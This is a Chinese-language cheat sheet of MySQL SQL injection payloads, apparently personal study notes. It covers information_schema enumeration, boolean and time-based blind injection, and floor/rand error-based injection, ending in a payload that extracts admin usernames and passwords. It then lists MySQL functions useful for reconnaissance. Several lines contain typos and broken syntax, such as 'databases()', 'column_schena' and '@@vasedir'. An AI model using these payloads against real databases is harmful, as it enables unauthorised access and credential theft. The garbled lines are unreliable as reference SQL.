注入复习总结

/*不定期更新*/

Mysql Code:

#常规注入：
select schema_name from information_schema.schemata;
select group_concat(table_name) from information_schema.tables where table_schema=0x73716C696E6A656374;
select group_concat(column_name) from information_schema.columns where table_schema=0x73716C696E6A656374;
#盲注:
select and ascii(mid(databases(),1,1))=115;
select and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1));
select and ascii(substring((select columns_name from information_schema.columns where column_schena=database() limit 1,1),1,1));
#延时盲注：
select and if(ascii(substring(database(),1,)),sleep(10),1);
select and if(ascii(substring((select table_name from information_schema.tables where table_schema=0x73716C696E6A656374),sleep(10),1));
select and if(ascii(substring((select columns_name from information_schema.columns where column_schema=0x73716C696E6A656374)),1,1),sleep(10),1);
#floor报错注入
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

信息收集函数：

---

user()                             #当前使用者的用户名
database()                         #当前数据库名
version()                          #数据库版本
datadir                            #读取数据库的绝对路径
@@vasedir                          #Mysql安装路径
@@version_compile_os               #操作系统
concat()                           #连接一个或者多个字符串
group_concat()                     #连接一个组的所有字符串，并以逗号分隔每一条数据

报错常用的函数：

---

count  #计算元组的个数
rand    #取随机数
floor    #想下取正，比如1.9就取1

 结束
